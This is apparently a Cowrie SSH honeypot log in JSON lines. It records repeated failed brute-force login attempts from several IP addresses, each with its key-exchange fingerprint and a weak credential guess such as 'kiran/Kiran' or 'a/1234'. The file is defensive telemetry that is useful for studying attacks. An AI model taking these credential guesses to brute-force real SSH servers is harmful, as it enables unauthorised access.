{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:11:02.936510Z","src_ip":"103.161.170.12","session":"0e4640becb47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"1234","message":"login attempt [a/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:11:03.945435Z","src_ip":"103.161.170.12","session":"0e4640becb47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:11:05.214432Z","src_ip":"103.161.170.12","session":"0e4640becb47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.123.78","src_port":49016,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7712f431c09","protocol":"ssh","message":"New connection: 160.22.123.78:49016 (10.17.0.5:22) [session: d7712f431c09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:11:34.682048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:11:34.686535Z","src_ip":"160.22.123.78","session":"d7712f431c09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:11:34.929062Z","src_ip":"160.22.123.78","session":"d7712f431c09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kiran","password":"Kiran","message":"login attempt [kiran/Kiran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:11:35.933111Z","src_ip":"160.22.123.78","session":"d7712f431c09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:11:37.177638Z","src_ip":"160.22.123.78","session":"d7712f431c09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.147.124","src_port":46746,"dst_ip":"10.17.0.5","dst_port":22,"session":"8046264fc203","protocol":"ssh","message":"New connection: 160.187.147.124:46746 (10.17.0.5:22) [session: 8046264fc203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:11:42.245359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:11:42.249207Z","src_ip":"160.187.147.124","session":"8046264fc203","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:11:42.498277Z","src_ip":"160.187.147.124","session":"8046264fc203","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"danielpass","message":"login attempt [daniel/danielpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:11:43.508856Z","src_ip":"160.187.147.124","session":"8046264fc203","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:11:44.759473Z","src_ip":"160.187.147.124","session":"8046264fc203","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.161.170.12","src_port":40775,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b9a9df47489","protocol":"ssh","message":"New connection: 103.161.170.12:40775 (10.17.0.5:22) [session: 5b9a9df47489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:11:58.573811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:11:58.578073Z","src_ip":"103.161.170.12","session":"5b9a9df47489","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:11:58.827823Z","src_ip":"103.161.170.12","session":"5b9a9df47489","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jessalyn","password":"12345","message":"login attempt [jessalyn/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:11:59.855585Z","src_ip":"103.161.170.12","session":"5b9a9df47489","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:12:01.107327Z","src_ip":"103.161.170.12","session":"5b9a9df47489","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.121.120.129","src_port":43374,"dst_ip":"10.17.0.5","dst_port":22,"session":"2237104f3000","protocol":"ssh","message":"New connection: 85.121.120.129:43374 (10.17.0.5:22) [session: 2237104f3000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:12:10.109622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:12:10.115545Z","src_ip":"85.121.120.129","session":"2237104f3000","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:12:10.197671Z","src_ip":"85.121.120.129","session":"2237104f3000","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mika","password":"123","message":"login attempt [mika/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:12:10.551900Z","src_ip":"85.121.120.129","session":"2237104f3000","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:12:11.634333Z","src_ip":"85.121.120.129","session":"2237104f3000","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.161.170.12","src_port":47681,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c97324147d6","protocol":"ssh","message":"New connection: 103.161.170.12:47681 (10.17.0.5:22) [session: 9c97324147d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:12:55.196950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:12:55.201108Z","src_ip":"103.161.170.12","session":"9c97324147d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:12:55.443119Z","src_ip":"103.161.170.12","session":"9c97324147d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kiran","password":"Kiran","message":"login attempt [kiran/Kiran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:12:56.442918Z","src_ip":"103.161.170.12","session":"9c97324147d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:12:57.687191Z","src_ip":"103.161.170.12","session":"9c97324147d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.123.78","src_port":55990,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b029046c75a","protocol":"ssh","message":"New connection: 160.22.123.78:55990 (10.17.0.5:22) [session: 1b029046c75a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:13:35.727468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:13:35.732659Z","src_ip":"160.22.123.78","session":"1b029046c75a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:13:35.979204Z","src_ip":"160.22.123.78","session":"1b029046c75a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"Ai123","message":"login attempt [ai/Ai123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:13:36.996025Z","src_ip":"160.22.123.78","session":"1b029046c75a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:13:38.245486Z","src_ip":"160.22.123.78","session":"1b029046c75a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.147.124","src_port":53526,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0ab95aabc4b","protocol":"ssh","message":"New connection: 160.187.147.124:53526 (10.17.0.5:22) [session: a0ab95aabc4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:13:46.076681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:13:46.081713Z","src_ip":"160.187.147.124","session":"a0ab95aabc4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:13:46.332200Z","src_ip":"160.187.147.124","session":"a0ab95aabc4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pool","password":"123","message":"login attempt [pool/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:13:47.372315Z","src_ip":"160.187.147.124","session":"a0ab95aabc4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:13:48.633068Z","src_ip":"160.187.147.124","session":"a0ab95aabc4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.161.170.12","src_port":14076,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf49042f2280","protocol":"ssh","message":"New connection: 103.161.170.12:14076 (10.17.0.5:22) [session: cf49042f2280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:13:57.792463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:13:57.797637Z","src_ip":"103.161.170.12","session":"cf49042f2280","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:13:58.046030Z","src_ip":"103.161.170.12","session":"cf49042f2280","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.121.120.129","src_port":51130,"dst_ip":"10.17.0.5","dst_port":22,"session":"9082bebfd46f","protocol":"ssh","message":"New connection: 85.121.120.129:51130 (10.17.0.5:22) [session: 9082bebfd46f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:13:58.819899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:13:58.824739Z","src_ip":"85.121.120.129","session":"9082bebfd46f","protocol":"ssh"}
